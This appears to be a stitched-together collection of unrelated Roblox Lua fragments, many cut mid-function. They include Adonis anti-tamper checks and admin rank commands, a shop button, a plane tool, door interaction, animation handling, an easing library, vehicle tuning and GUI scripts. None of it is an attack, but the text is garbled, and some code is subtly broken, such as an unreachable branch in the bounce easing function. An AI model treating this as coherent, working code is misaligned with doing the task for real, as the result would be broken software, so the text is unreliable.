client.Variables; u4 = client.Process; end, Launch = function(p40, p41) if u2.Detectors[p40] and l__service__9.NetworkClient then u2.Detectors[p40](p41); end; end, Detected = u18, Detectors = l__service__9.ReadOnly(v2, false, true), GetClassName = function(p42) local u66 = l__tostring__12(l__math__58.random() .. l__math__58.random()); local v57, v58 = l__pcall__6(function() local v59 = p42[u66]; end); if v58 then local v60 = l__string__27.match(v58, u66 .. " is not a valid member of (.*)"); if v60 then return v60; end; end; end, RLocked = function(p43) return not l__pcall__6(function() return p43:GetFullName(); end); end, ObjRLocked = function(p44) return not l__pcall__6(function() return p44:GetFullName(); end); end, CoreRLocked = function(p45) local u67 = l__tostring__12(l__math__58.random() .. l__math__58.random()); local v61, v62 = l__pcall__6(function() l__game__25:GetService("GuiService"):AddSelectionParent(u67, p45); l__game__25:GetService("GuiService"):RemoveSelectionGroup(u67); end); if v62 and l__string__27.find(v62, u67) and l__string__27.find(v62, "GuiService:") then return true; end; l__wait__8(0.5); local v63, v64 = l__service__9.LogService:GetLogHistory(); while true do local v65, v66 = l__next__42(v63, v64); if not v65 then break; end; v64 = v65; if l__string__27.find(v66.message, u67) and l__string__27.find(v66.message, "GuiService:") then return true; end; end; end }, false, true); l__client__35.Anti = u2; local l__MetaFunc__67 = l__service__9.MetaFunc; local v68 = l__MetaFunc__67(l__service__9.StartLoop); local v69 = l__MetaFunc__67(coroutine.resume); local v70 = l__MetaFunc__67(coroutine.create); local v71 = l__MetaFunc__67(l__tick__41); local v72 = l__MetaFunc__67(l__tostring__12); local u68 = l__MetaFunc__67(l__wait__8); local u69 = v71(); local l__coroutine__70 = coroutine; local l__Core__71 = client.Core; local l__Functions__72 = client.Functions; local l__Get__73 = client.Remote.Get; local u74 = l__MetaFunc__67(l__pcall__6); local l__Kick__75 = l__LocalPlayer__1.Kick; l__MetaFunc__67(l__service__9.TrackTask)("Thread: TableCheck", l__MetaFunc__67(function() while u68(1) do u69 = v71(); local v73, v74, v75, v76, v77, v78, v79, v80, v81, v82 = l__coroutine__70.resume(l__coroutine__70.create(function() return l__client__35.Core, l__client__35.Remote, l__client__35.Functions, l__client__35.Anti, l__client__35.Remote.Send, l__client__35.Remote.Get, l__client__35.Anti.Detected, l__client__35.Disconnect, l__client__35.Kill; end)); if not v73 or v74 ~= l__Core__71 or v75 ~= l__Remote__28 or v76 ~= l__Functions__72 or v77 ~= u2 or v78 ~= l__Send__7 or v79 ~= l__Get__73 or v80 ~= u18 or v81 ~= l__Disconnect__10 or v82 ~= l__Kill__11 then u74(u18, "crash", "Tamper Protection 10042"); u68(1); u74(l__Disconnect__10, "Adonis_10042"); u74(l__Kill__11, "Adonis_10042"); u74(l__Kick__75, l__LocalPlayer__1, "Adonis_10042"); end; end; end)); end;
--// bolekinds
local plr = script.Parent.Parent.Parent.Parent.Parent.Parent.Parent script.Parent.MouseButton1Click:Connect(function() if plr.YouCash.Value >= 85 and game.ServerStorage.ServerData.ScratchingPost.Value == false then script.Parent.Parent.Parent.Ching:Play() plr.YouCash.Value -= 85 game.ServerStorage.ServerData.ScratchingPost.Value = true end end)
--End of Settup
print("Setup Done!") end function onSelected(mouse)-- if u Selected the tool it comes alife O: [NOT TO CHANGE!] mouse.Icon = "rbxasset://textures\\GunCursor.png"-- Icon of mouse mouse.Button1Down:connect(function() onFollow(mouse) end) mouse.Move:connect(function() onButton1Down(mouse) end) mouse.Button1Up:connect(function() onButton1Up(mouse) end) mouse.KeyDown:connect(function(key) onKeyDown(key,mouse) end) mouse.KeyUp:connect(KU) if(script.Parent.Parent.Parent.Character ~= nil) then if(script.Parent.Parent.Parent.Character:findFirstChild("Plane") ~= nil) then daplain =script.Parent.Parent.Parent.Character:findFirstChild("Plane") end end vParts = daplain.Parts wait() local Gui = script.PlaneStats:Clone() Gui.Parent = script.Parent.Parent.Parent.PlayerGui setup(vParts) wait(1) interface(Gui) dagui = Gui end function onDeselected()-- this removes the GUI after DISSELECTING [NOT TO CHANGE!] if Gui ~= nil then Gui:remove() Gui = nil end end function interface(G)-- GUI InterFace U may change things below XD while true do wait(0.1) if G ~= nil then PS = G.Frame-- the Gui
------------------------------------------------------------ --\Doors Update ------------------------------------------------------------
local DoorsFolder = ACS_Storage:FindFirstChild("Doors") local CAS = game:GetService("ContextActionService") local mDistance = 5 local Key = nil function getNearest() local nearest = nil local minDistance = mDistance local Character = Player.Character or Player.CharacterAdded:Wait() for I,Door in pairs (DoorsFolder:GetChildren()) do if Door.Door:FindFirstChild("Knob") ~= nil then local distance = (Door.Door.Knob.Position - Character.Torso.Position).magnitude if distance < minDistance then nearest = Door minDistance = distance end end end --print(nearest) return nearest end function Interact(actionName, inputState, inputObj) if inputState ~= Enum.UserInputState.Begin then return end local nearestDoor = getNearest() local Character = Player.Character or Player.CharacterAdded:Wait() if nearestDoor == nil then return end if (nearestDoor.Door.Knob.Position - Character.Torso.Position).magnitude <= mDistance then if nearestDoor ~= nil then if nearestDoor:FindFirstChild("RequiresKey") then Key = nearestDoor.RequiresKey.Value else Key = nil end Evt.DoorEvent:FireServer(nearestDoor,1,Key) end end end function GetNearest(parts, maxDistance,Part) local closestPart local minDistance = maxDistance for _, partToFace in ipairs(parts) do local distance = (Part.Position - partToFace.Position).magnitude if distance < minDistance then closestPart = partToFace minDistance = distance end end return closestPart end CAS:BindAction("Interact", Interact, false, Enum.KeyCode.G) Evt.Rappel.PlaceEvent.OnClientEvent:Connect(function(Parte) local Alinhar = Instance.new('AlignOrientation') Alinhar.Parent = Parte Alinhar.PrimaryAxisOnly = true Alinhar.RigidityEnabled = true Alinhar.Attachment0 = Character.HumanoidRootPart.RootAttachment Alinhar.Attachment1 = Camera.BasePart.Attachment end) print("ACS 1.7.5")
--[[ FirstPersonRigAssembly Description: FirstPersonRigAssembly is a simple library that is used to track the view model of the current weapon we're using. ]]
local FirstPersonRigAssembly = {}
-- functions
function stopAllAnimations() local oldAnim = currentAnim -- return to idle if finishing an emote if (emoteNames[oldAnim] ~= nil and emoteNames[oldAnim] == false) then oldAnim = "idle" end if FFlagAnimateScriptEmoteHook and currentlyPlayingEmote then oldAnim = "idle" currentlyPlayingEmote = false end currentAnim = "" currentAnimInstance = nil if (currentAnimKeyframeHandler ~= nil) then currentAnimKeyframeHandler:disconnect() end if (currentAnimTrack ~= nil) then currentAnimTrack:Stop() currentAnimTrack:Destroy() currentAnimTrack = nil end -- clean up walk if there is one if (runAnimKeyframeHandler ~= nil) then runAnimKeyframeHandler:disconnect() end if (runAnimTrack ~= nil) then runAnimTrack:Stop() runAnimTrack:Destroy() runAnimTrack = nil end return oldAnim end function getHeightScale() if Humanoid then if FFlagUserAdjustHumanoidRootPartToHipPosition then if not Humanoid.AutomaticScalingEnabled then return 1 end end local scale = Humanoid.HipHeight / HumanoidHipHeight if userAnimationSpeedDampening then if AnimationSpeedDampeningObject == nil then AnimationSpeedDampeningObject = script:FindFirstChild("ScaleDampeningPercent") end if AnimationSpeedDampeningObject ~= nil then scale = 1 + (Humanoid.HipHeight - HumanoidHipHeight) * AnimationSpeedDampeningObject.Value / HumanoidHipHeight end end return scale end return 1 end local smallButNotZero = 0.0001 function setRunSpeed(speed) local speedScaled = speed * 1.25 local heightScale = getHeightScale() local runSpeed = speedScaled / heightScale if runSpeed ~= currentAnimSpeed then if runSpeed < 0.33 then currentAnimTrack:AdjustWeight(1.0) runAnimTrack:AdjustWeight(smallButNotZero) elseif runSpeed < 0.66 then local weight = ((runSpeed - 0.33) / 0.33) currentAnimTrack:AdjustWeight(1.0 - weight + smallButNotZero) runAnimTrack:AdjustWeight(weight + smallButNotZero) else currentAnimTrack:AdjustWeight(smallButNotZero) runAnimTrack:AdjustWeight(1.0) end currentAnimSpeed = runSpeed runAnimTrack:AdjustSpeed(runSpeed) currentAnimTrack:AdjustSpeed(runSpeed) end end function setAnimationSpeed(speed) if currentAnim == "walk" then setRunSpeed(speed) else if speed ~= currentAnimSpeed then currentAnimSpeed = speed currentAnimTrack:AdjustSpeed(currentAnimSpeed) end end end function keyFrameReachedFunc(frameName) if (frameName == "End") then if currentAnim == "walk" then if userNoUpdateOnLoop == true then if runAnimTrack.Looped ~= true then runAnimTrack.TimePosition = 0.0 end if currentAnimTrack.Looped ~= true then currentAnimTrack.TimePosition = 0.0 end else runAnimTrack.TimePosition = 0.0 currentAnimTrack.TimePosition = 0.0 end else local repeatAnim = currentAnim -- return to idle if finishing an emote if (emoteNames[repeatAnim] ~= nil and emoteNames[repeatAnim] == false) then repeatAnim = "idle" end if FFlagAnimateScriptEmoteHook and currentlyPlayingEmote then if currentAnimTrack.Looped then -- Allow the emote to loop return end repeatAnim = "idle" currentlyPlayingEmote = false end local animSpeed = currentAnimSpeed playAnimation(repeatAnim, 0.15, Humanoid) setAnimationSpeed(animSpeed) end end end function rollAnimation(animName) local roll = math.random(1, animTable[animName].totalWeight) local origRoll = roll local idx = 1 while (roll > animTable[animName][idx].weight) do roll = roll - animTable[animName][idx].weight idx = idx + 1 end return idx end local function switchToAnim(anim, animName, transitionTime, humanoid) -- switch animation if (anim ~= currentAnimInstance) then if (currentAnimTrack ~= nil) then currentAnimTrack:Stop(transitionTime) currentAnimTrack:Destroy() end if (runAnimTrack ~= nil) then runAnimTrack:Stop(transitionTime) runAnimTrack:Destroy() if userNoUpdateOnLoop == true then runAnimTrack = nil end end currentAnimSpeed = 1.0 -- load it to the humanoid; get AnimationTrack currentAnimTrack = humanoid:LoadAnimation(anim) currentAnimTrack.Priority = Enum.AnimationPriority.Core -- play the animation currentAnimTrack:Play(transitionTime) currentAnim = animName currentAnimInstance = anim -- set up keyframe name triggers if (currentAnimKeyframeHandler ~= nil) then currentAnimKeyframeHandler:disconnect() end currentAnimKeyframeHandler = currentAnimTrack.KeyframeReached:connect(keyFrameReachedFunc) -- check to see if we need to blend a walk/run animation if animName == "walk" then local runAnimName = "run" local runIdx = rollAnimation(runAnimName) runAnimTrack = humanoid:LoadAnimation(animTable[runAnimName][runIdx].anim) runAnimTrack.Priority = Enum.AnimationPriority.Core runAnimTrack:Play(transitionTime) if (runAnimKeyframeHandler ~= nil) then runAnimKeyframeHandler:disconnect() end runAnimKeyframeHandler = runAnimTrack.KeyframeReached:connect(keyFrameReachedFunc) end end end function playAnimation(animName, transitionTime, humanoid) local idx = rollAnimation(animName) local anim = animTable[animName][idx].anim switchToAnim(anim, animName, transitionTime, humanoid) end function playEmote(emoteAnim, transitionTime, humanoid) switchToAnim(emoteAnim, emoteAnim.Name, transitionTime, humanoid) currentlyPlayingEmote = true end
--------------------- -- End of Examples -- ---------------------
local Plugins if script:FindFirstChild('Plugins') and #(script:FindFirstChild('Plugins'):GetChildren()) >= 1 then Plugins = script:FindFirstChild('Plugins') end if script.Parent ~= game:GetService('ServerScriptService') then script.Parent = game:GetService('ServerScriptService') end require(Configuration['Loader ID'])(Plugins,Configuration)
-- @specs https://design.firefox.com/photon/motion/duration-and-easing.html
local MozillaCurve = Bezier(0.07, 0.95, 0, 1) local function Smooth(T) return T * T * (3 - 2 * T) end local function Smoother(T) return T * T * T * (T * (6 * T - 15) + 10) end local function RidiculousWiggle(T) return math.sin(math.sin(T * 3.1415926535898) * 1.5707963267949) end local function Spring(T) return 1 + (-math.exp(-6.9 * T) * math.cos(-20.106192982975 * T)) end local function SoftSpring(T) return 1 + (-math.exp(-7.5 * T) * math.cos(-10.053096491487 * T)) end local function OutBounce(T) if T < 0.36363636363636 then return 7.5625 * T * T elseif T < 0.72727272727273 then return 3 + T * (11 * T - 12) * 0.6875 elseif T < 0.090909090909091 then return 6 + T * (11 * T - 18) * 0.6875 else return 7.875 + T * (11 * T - 21) * 0.6875 end end local function InBounce(T) if T > 0.63636363636364 then T -= 1 return 1 - T * T * 7.5625 elseif T > 0.272727272727273 then return (11 * T - 7) * (11 * T - 3) / -16 elseif T > 0.090909090909091 then return (11 * (4 - 11 * T) * T - 3) / 16 else return T * (11 * T - 1) * -0.6875 end end local EasingFunctions = setmetatable({ InLinear = Linear; OutLinear = Linear; InOutLinear = Linear; OutInLinear = Linear; OutSmooth = Smooth; InSmooth = Smooth; InOutSmooth = Smooth; OutInSmooth = Smooth; OutSmoother = Smoother; InSmoother = Smoother; InOutSmoother = Smoother; OutInSmoother = Smoother; OutRidiculousWiggle = RidiculousWiggle; InRidiculousWiggle = RidiculousWiggle; InOutRidiculousWiggle = RidiculousWiggle; OutInRidiculousWiggle = RidiculousWiggle; OutRevBack = RevBack; InRevBack = RevBack; InOutRevBack = RevBack; OutInRevBack = RevBack; OutSpring = Spring; InSpring = Spring; InOutSpring = Spring; OutInSpring = Spring; OutSoftSpring = SoftSpring; InSoftSpring = SoftSpring; InOutSoftSpring = SoftSpring; OutInSoftSpring = SoftSpring; InSharp = Sharp; InOutSharp = Sharp; OutSharp = Sharp; OutInSharp = Sharp; InAcceleration = Acceleration; InOutAcceleration = Acceleration; OutAcceleration = Acceleration; OutInAcceleration = Acceleration; InStandard = Standard; InOutStandard = Standard; OutStandard = Standard; OutInStandard = Standard; InDeceleration = Deceleration; InOutDeceleration = Deceleration; OutDeceleration = Deceleration; OutInDeceleration = Deceleration; InFabricStandard = FabricStandard; InOutFabricStandard = FabricStandard; OutFabricStandard = FabricStandard; OutInFabricStandard = FabricStandard; InFabricAccelerate = FabricAccelerate; InOutFabricAccelerate = FabricAccelerate; OutFabricAccelerate = FabricAccelerate; OutInFabricAccelerate = FabricAccelerate; InFabricDecelerate = FabricDecelerate; InOutFabricDecelerate = FabricDecelerate; OutFabricDecelerate = FabricDecelerate; OutInFabricDecelerate = FabricDecelerate; InUWPAccelerate = UWPAccelerate; InOutUWPAccelerate = UWPAccelerate; OutUWPAccelerate = UWPAccelerate; OutInUWPAccelerate = UWPAccelerate; InStandardProductive = StandardProductive; InStandardExpressive = StandardExpressive; InEntranceProductive = EntranceProductive; InEntranceExpressive = EntranceExpressive; InExitProductive = ExitProductive; InExitExpressive = ExitExpressive; OutStandardProductive = StandardProductive; OutStandardExpressive = StandardExpressive; OutEntranceProductive = EntranceProductive; OutEntranceExpressive = EntranceExpressive; OutExitProductive = ExitProductive; OutExitExpressive = ExitExpressive; InOutStandardProductive = StandardProductive; InOutStandardExpressive = StandardExpressive; InOutEntranceProductive = EntranceProductive; InOutEntranceExpressive = EntranceExpressive; InOutExitProductive = ExitProductive; InOutExitExpressive = ExitExpressive; OutInStandardProductive = StandardProductive; OutInStandardExpressive = StandardProductive; OutInEntranceProductive = EntranceProductive; OutInEntranceExpressive = EntranceExpressive; OutInExitProductive = ExitProductive; OutInExitExpressive = ExitExpressive; OutMozillaCurve = MozillaCurve; InMozillaCurve = MozillaCurve; InOutMozillaCurve = MozillaCurve; OutInMozillaCurve = MozillaCurve; InQuad = function(T) return T * T end; OutQuad = function(T) return T * (2 - T) end; InOutQuad = function(T) if T < 0.5 then return 2 * T * T else return 2 * (2 - T) * T - 1 end end; OutInQuad = function(T) if T < 0.5 then T *= 2 return T * (2 - T) / 2 else T *= 2 - 1 return (T * T) / 2 + 0.5 end end; InCubic = function(T) return T * T * T end; OutCubic = function(T) return 1 - (1 - T) * (1 - T) * (1 - T) end; InOutCubic = function(T) if T < 0.5 then return 4 * T * T * T else T -= 1 return 1 + 4 * T * T * T end end; OutInCubic = function(T) if T < 0.5 then T = 1 - (T * 2) return (1 - T * T * T) / 2 else T *= 2 - 1 return T * T * T / 2 + 0.5 end end; InQuart = function(T) return T * T * T * T end; OutQuart = function(T) T -= 1 return 1 - T * T * T * T end; InOutQuart = function(T) if T < 0.5 then T *= T return 8 * T * T else T -= 1 return 1 - 8 * T * T * T * T end end; OutInQuart = function(T) if T < 0.5 then T *= 2 - 1 return (1 - T * T * T * T) / 2 else T *= 2 - 1 return T * T * T * T / 2 + 0.5 end end; InQuint = function(T) return T * T * T * T * T end; OutQuint = function(T) T -= 1 return T * T * T * T * T + 1 end; InOutQuint = function(T) if T < 0.5 then return 16 * T * T * T * T * T else T -= 1 return 16 * T * T * T * T * T + 1 end end; OutInQuint = function(T) if T < 0.5 then T *= 2 - 1 return (T * T * T * T * T + 1) / 2 else T *= 2 - 1 return T * T * T * T * T / 2 + 0.5 end end; InBack = function(T) return T * T * (3 * T - 2) end; OutBack = function(T) return (T - 1) * (T - 1) * (T * 2 + T - 1) + 1 end; InOutBack = function(T) if T < 0.5 then return 2 * T * T * (2 * 3 * T - 2) else return 1 + 2 * (T - 1) * (T - 1) * (2 * 3 * T - 2 - 2) end end; OutInBack = function(T) if T < 0.5 then T *= 2 return ((T - 1) * (T - 1) * (T * 2 + T - 1) + 1) / 2 else T *= 2 - 1 return T * T * (3 * T - 2) / 2 + 0.5 end end; InSine = function(T) return 1 - math.cos(T * 1.5707963267949) end; OutSine = function(T) return math.sin(T * 1.5707963267949) end; InOutSine = function(T) return (1 - math.cos(3.1415926535898 * T)) / 2 end; OutInSine = function(T) if T < 0.5 then return math.sin(T * 3.1415926535898) / 2 else return (1 - math.cos((T * 2 - 1) * 1.5707963267949)) / 2 + 0.5 end end; OutBounce = OutBounce; InBounce = InBounce; InOutBounce = function(T) if T < 0.5 then return InBounce(2 * T) / 2 else return OutBounce(2 * T - 1) / 2 + 0.5 end end; OutInBounce = function(T) if T < 0.5 then return OutBounce(2 * T) / 2 else return InBounce(2 * T - 1) / 2 + 0.5 end end; InElastic = function(T) return math.exp((T * 0.96380736418812 - 1) * 8) * T * 0.96380736418812 * math.sin(4 * T * 0.96380736418812) * 1.8752275007429 end; OutElastic = function(T) return 1 + (math.exp(8 * (0.96380736418812 - 0.96380736418812 * T - 1)) * 0.96380736418812 * (T - 1) * math.sin(4 * 0.96380736418812 * (1 - T))) * 1.8752275007429 end; InOutElastic = function(T) if T < 0.5 then return (math.exp(8 * (2 * 0.96380736418812 * T - 1)) * 0.96380736418812 * T * math.sin(2 * 4 * 0.96380736418812 * T)) * 1.8752275007429 else return 1 + (math.exp(8 * (0.96380736418812 * (2 - 2 * T) - 1)) * 0.96380736418812 * (T - 1) * math.sin(4 * 0.96380736418812 * (2 - 2 * T))) * 1.8752275007429 end end; OutInElastic = function(T) -- This isn't actually correct, but it is close enough. if T < 0.5 then T *= 2 return (1 + (math.exp(8 * (0.96380736418812 - 0.96380736418812 * T - 1)) * 0.96380736418812 * (T - 1) * math.sin(4 * 0.96380736418812 * (1 - T))) * 1.8752275007429) / 2 else T *= 2 - 1 return (math.exp((T * 0.96380736418812 - 1) * 8) * T * 0.96380736418812 * math.sin(4 * T * 0.96380736418812) * 1.8752275007429) / 2 + 0.5 end end; InExpo = function(T) return T * T * math.exp(4 * (T - 1)) end; OutExpo = function(T) return 1 - (1 - T) * (1 - T) / math.exp(4 * T) end; InOutExpo = function(T) if T < 0.5 then return 2 * T * T * math.exp(4 * (2 * T - 1)) else return 1 - 2 * (T - 1) * (T - 1) * math.exp(4 * (1 - 2 * T)) end end; OutInExpo = function(T) if T < 0.5 then T *= 2 return (1 - (1 - T) * (1 - T) / math.exp(4 * T)) / 2 else T *= 2 - 1 return (T * T * math.exp(4 * (T - 1))) / 2 + 0.5 end end; InCirc = function(T) return -(math.sqrt(1 - T * T) - 1) end; OutCirc = function(T) T -= 1 return math.sqrt(1 - T * T) end; InOutCirc = function(T) T *= 2 if T < 1 then return -(math.sqrt(1 - T * T) - 1) / 2 else T -= 2 return (math.sqrt(1 - T * T) - 1) / 2 end end; OutInCirc = function(T) if T < 0.5 then T *= 2 - 1 return math.sqrt(1 - T * T) / 2 else T *= 2 - 1 return (-(math.sqrt(1 - T * T) - 1)) / 2 + 0.5 end end; }, { __index = function(_, Index) error(tostring(Index) .. " is not a valid easing function.", 2) end; }) return EasingFunctions
--[[Drivetrain Initialize]]
local Drive={} --Power Front Wheels
-- PUT THIS INTO YOUR STARTERGUI -- LEAVE shader PART INTO THE WORKSPACE
wait(1) local shad workspace.CurrentCamera:ClearAllChildren() game:GetService("RunService").RenderStepped:connect(function() if shad then shad:Destroy() end shad = workspace.shader:Clone() shad.Parent = workspace.CurrentCamera Instance.new("BlockMesh",shad).Offset = Vector3.new(0,-1000,0) shad.CFrame = workspace.CurrentCamera.CFrame * CFrame.new(0,1000,-1.75) workspace.CurrentCamera.CameraType = "Custom" shad.Transparency = game.Players.LocalPlayer.Character.Humanoid.Health / 140 end)
----------------------------------------------------------------------------------------------- -----------------------------------------------------------------------------------------------
Target.Changed:Connect(function(Valor) if Valor == "N/A" then Texto.Text = player.Name script.Parent.Reset.Visible = false else Texto.Text = Valor script.Parent.Reset.Visible = true end end) script.Parent.Reset.MouseButton1Down:connect(function() Reset:FireServer() end) script.Parent.Menu.Bandages.MouseButton1Down:connect(function() if Saude.Variaveis.Doer.Value == false and script.Parent.BandagesAberto.Visible == false then --Saude.Variaveis.Doer.Value = true --Timer.Barra.Size = UDim2.new(0,0,1,0) --TS:Create(Timer.Barra, TweenInfo.new(.25), {Size = UDim2.new(1,0,1,0)}):Play() --wait(.25) script.Parent.OtherAberto.Visible = false script.Parent.MedicineAberto.Visible = false script.Parent.BandagesAberto.Visible = true --Saude.Variaveis.Doer.Value = false end end) script.Parent.Menu.Medicines.MouseButton1Down:connect(function() if Saude.Variaveis.Doer.Value == false and script.Parent.MedicineAberto.Visible == false then --Saude.Variaveis.Doer.Value = true --Timer.Barra.Size = UDim2.new(0,0,1,0) --TS:Create(Timer.Barra, TweenInfo.new(.25), {Size = UDim2.new(1,0,1,0)}):Play() --wait(.25) script.Parent.OtherAberto.Visible = false script.Parent.MedicineAberto.Visible = true script.Parent.BandagesAberto.Visible = false --Saude.Variaveis.Doer.Value = false end end) script.Parent.Menu.Others.MouseButton1Down:connect(function() if Saude.Variaveis.Doer.Value == false and script.Parent.OtherAberto.Visible == false then --Saude.Variaveis.Doer.Value = true --Timer.Barra.Size = UDim2.new(0,0,1,0) --TS:Create(Timer.Barra, TweenInfo.new(.25), {Size = UDim2.new(1,0,1,0)}):Play() --wait(.25) script.Parent.OtherAberto.Visible = true script.Parent.MedicineAberto.Visible = false script.Parent.BandagesAberto.Visible = false --Saude.Variaveis.Doer.Value = false end end)
--[[This script simply hides the roblox Core GUIs, including the backpack, health, and the leaderboard. All you need to do is put this script in the StarterPack. --]]
game.StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.Health, false);--Remove this if you want the health bar to be shown. game.StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.PlayerList, false);--Remove this if you want the leaderboard to be shown. game.StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.Backpack, false);--Remove this if you want the backpack to be shown.
-- Remove from all
for i = 1, #Indicator.all do if self == Indicator.all[i] then table.remove(Indicator.all, i) break end end end function Indicator:setAngle(angleRadians) if not self.alive then return end local angleDegrees = angleRadians * (180 / math.pi) self.frame.Position = UDim2.new( .5, math.cos(angleRadians) * radius + self.frame.AbsoluteSize.X / -2, .5, math.sin(angleRadians) * radius + self.frame.AbsoluteSize.Y / -2 ) self.frame.Rotation = angleDegrees + 90 end function Indicator:update() if tick() >= self.timeExpire then self:expire() else local perc = (tick() - self.timeCreated) / self.time self:setAngle(getCameraAngle(camera) - angleBetweenPoints(camera.Focus.p, self.position) - math.pi / 2) self.frame.ImageLabel.ImageTransparency = perc self.frame.ImageLabel.Size = UDim2.new(0, 50, 0, -50 * (1 - perc)) end end function Indicator:updateAll() local i = 1 while i <= #Indicator.all do local indicator = Indicator.all[i] indicator:update() if indicator.alive then i = i + 1 end end end
--[[/Static functions]]
GunObject:Initialize()
--[[Engine]]
--Torque Curve Tune.Horsepower = 150 -- [TORQUE CURVE VISUAL] Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf Tune.PeakRPM = 6980 -- Use sliders to manipulate values Tune.Redline = 8000 -- Copy and paste slider values into the respective tune values Tune.EqPoint = 5500 Tune.PeakSharpness = 7.5 Tune.CurveMult = 0.16 --Incline Compensation Tune.InclineComp = 1.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees) --Misc Tune.RevAccel = 150 -- RPM acceleration when clutch is off Tune.RevDecay = 75 -- RPM decay when clutch is off Tune.RevBounce = 500 -- RPM kickback from redline Tune.IdleThrottle = 3 -- Percent throttle at idle Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
--!nocheck
return function(Vargs, env) local server = Vargs.Server; local service = Vargs.Service; local Settings = server.Settings local Functions, Commands, Admin, Anti, Core, HTTP, Logs, Remote, Process, Variables, Deps = server.Functions, server.Commands, server.Admin, server.Anti, server.Core, server.HTTP, server.Logs, server.Remote, server.Process, server.Variables, server.Deps if env then setfenv(1, env) end local Routine = env.Routine return { --[[ --// Unfortunately not viable Reboot = { Prefix = ":"; Commands = {"rebootadonis", "reloadadonis"}; Args = {}; Description = "Attempts to force Adonis to reload"; AdminLevel = "Admins"; Function = function(plr: Player, args: {string}, data: {any}) local rebootHandler = server.Deps.RebootHandler:Clone(); if server.Runner then rebootHandler.mParent.Value = service.UnWrap(server.ModelParent); rebootHandler.Dropper.Value = service.UnWrap(server.Dropper); rebootHandler.Runner.Value = service.UnWrap(server.Runner); rebootHandler.Model.Value = service.UnWrap(server.Model); rebootHandler.Mode.Value = "REBOOT"; task.wait(0.03) rebootHandler.Parent = service.ServerScriptService; rebootHandler.Disabled = false; task.wait(0.03) server.CleanUp(); else error("Unable to reload: Runner missing"); end end; };--]] SetRank = { Prefix = Settings.Prefix; Commands = {"setrank", "permrank", "permsetrank"}; Args = {"player/user", "rank"}; Description = "Sets the admin rank of the target user(s); THIS SAVES!"; AdminLevel = "Admins"; Function = function(plr: Player, args: {string}, data: {any}) assert(args[1], "Missing target user (argument #1)") local rankName = assert(args[2], "Missing rank name (argument #2)") local newRank = Settings.Ranks[rankName] if not newRank then for thisRankName, thisRank in Settings.Ranks do if thisRankName:lower() == rankName:lower() then rankName = thisRankName newRank = thisRank break end end end assert(newRank, `No rank named '{rankName}' exists`) local newLevel = newRank.Level local senderLevel = data.PlayerData.Level assert(newLevel < senderLevel, string.format("Rank level (%s) cannot be equal to or above your own level (%s)", newLevel, senderLevel)) for _, p in Functions.GetPlayers(plr, args[1], {NoFakePlayer = false})do if senderLevel > Admin.GetLevel(p) then Admin.AddAdmin(p, rankName) Remote.MakeGui(p, "Notification", { Title = "Notification"; Message = string.format("You are %s%s. Click to view commands.", if string.lower(string.sub(rankName, 1, 3)) == "the" then "" elseif string.match(rankName, "^[AEIOUaeiou]") and string.lower(string.sub(rankName, 1, 3)) ~= "uni" then "an " else "a ", rankName); Icon = server.MatIcons.Shield; Time = 10; OnClick = Core.Bytecode(`client.Remote.Send('ProcessCommand','{Settings.Prefix}cmds')`); }) Functions.Hint(`{service.FormatPlayer(p, true)} is now rank {rankName} (Permission Level: {newLevel})`, {plr}) else Functions.Hint(`You do not have permission to set the rank of {service.FormatPlayer(p, true)}`, {plr}) end end end; }; SetTempRank = { Prefix = Settings.Prefix; Commands = {"settemprank", "temprank", "tempsetrank"}; Args = {"player", "rank"}; Description = `Identical to {Settings.Prefix}setrank, but doesn't save`; AdminLevel = "Admins"; Function = function(plr: Player, args: {string}, data: {any}) assert(args[1], "Missing target player (argument #1)") local rankName = assert(args[2], "Missing rank name (argument #2)") local newRank = Settings.Ranks[rankName] if not newRank then for thisRankName, thisRank in Settings.Ranks do if thisRankName:lower() == rankName:lower() then rankName = thisRankName newRank = thisRank break end end end assert(newRank, `No rank named '{rankName}' exists`) local newLevel = newRank.Level local senderLevel = data.PlayerData.Level assert(newLevel < senderLevel, string.format("Rank level (%s) cannot be equal to or above your own level (%s)", newLevel, senderLevel)) for _, v in service.GetPlayers(plr, args[1]) do if senderLevel > Admin.GetLevel(v) then Admin.AddAdmin(v, rankName, true) Remote.MakeGui(v, "Notification", { Title = "Notification"; Message = `You are a temp {rankName}. Click to view commands.`; Icon = server.MatIcons.Shield; Time = 10; OnClick = Core.Bytecode(`client.Remote.Send('ProcessCommand','{Settings.Prefix}cmds')`); }) Functions.Hint(`{service.FormatPlayer(v, true)} is now rank {rankName} (Permission Level: {newLevel})`, {plr}) else Functions.Hint(`You do not have permission to set the rank of {service.FormatPlayer(v, true)}`, {plr}) end end end; }; SetLevel = { Prefix = Settings.Prefix; Commands = {"setlevel", "setadminlevel"}; Args = {"player", "level"}; Description = "Sets the target player(s) permission level for the current server; does not save"; AdminLevel = "Admins"; Function = function(plr: Player, args: {string}, data: {any}) local senderLevel = data.PlayerData.Level local newLevel = assert(tonumber(args[2]), "Level must be a number") assert(newLevel < senderLevel, `Level cannot be equal to or above your own permission level ({senderLevel})`); for _, v in service.GetPlayers(plr, args[1])do if senderLevel > Admin.GetLevel(v) then Admin.SetLevel(v, newLevel)--, args[3] == "true") Remote.MakeGui(v, "Notification", { Title = "Notification"; Message = `Your admin permission level was set to {newLevel} for this server only. Click to view commands.`; Icon = server.MatIcons.Shield; Time = 10; OnClick = Core.Bytecode(`client.Remote.Send('ProcessCommand','{Settings.Prefix}cmds')`); }) Functions.Hint(`{service.FormatPlayer(v, true)} is now permission level {newLevel}`, {plr}) else Functions.Hint(`You do not have permission to set the permission level of {service.FormatPlayer(v, true)}`, {plr}) end end end; }; UnAdmin = { Prefix = Settings.Prefix; Commands = {"unadmin", "unmod", "unowner", "unpadmin", "unheadadmin", "unrank"}; Args = {"player/user / list entry", "temp? (true/false) (default: false)"}; Description = "Removes admin/moderator ranks from the target player(s); saves unless <temp> is 'true'"; AdminLevel = "Admins"; Function = function(plr: Player, args: {string}, data: {any}) local target = assert(args[1], "Missing target user (argument #1)") local temp = args[2] and args[2]:lower() == "true" local senderLevel = data.PlayerData.Level local userFound = false if not target:find(":") then for _, v in service.GetPlayers(plr, target, { UseFakePlayer = true; DontError = true; }) do userFound = true local targLevel, targRank = Admin.GetLevel(v) if targLevel > 0 then if senderLevel 